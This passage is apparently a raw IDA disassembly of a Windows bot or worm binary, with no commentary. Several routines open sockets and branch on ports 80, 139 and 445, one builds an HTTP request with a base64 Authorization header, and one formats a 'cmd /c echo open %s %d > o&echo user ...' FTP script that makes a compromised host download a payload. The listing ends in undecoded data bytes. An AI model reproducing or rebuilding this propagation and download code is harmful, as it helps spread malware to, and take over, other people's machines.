loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB63C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB620 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CB674 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CB674 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_43239C push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_4323CC push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CE33C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_432314 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_4323D8 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_432424[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D7D8 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CB674 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_4325D0 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CB360 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_432468 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB624 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CB664 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB5CC cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB6BC test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h nop call near ptr 2680000h loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431AD0[eax] lea eax, dword_431AD0[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DBC44, 1 jnz short loc_40D888 or byte_4DBC44, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_432888 add eax, 6 mov dword_4CE344, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2700000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 0B8h ; ╦ db 0DCh ; э db 60h ; ` db 0 db 0 db 0E8h ; Х db 78h ; x db 0E1h ; А db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 80h ; ─ db 0DBh ; ш db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0A8h ; ╗ db 0F7h ; В db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; ш db 85h ; ┘ db 0C0h ; ю db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ╬ db 0 db 20h db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 68h ; h db 4 db 29h ; ) db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; Х db 0A6h ; ╕ db 0DFh ; ъ db 0 db 0 db 6Ah ; j db 20h db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; Х db 0A7h ; ╖ db 0DBh ; ш db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 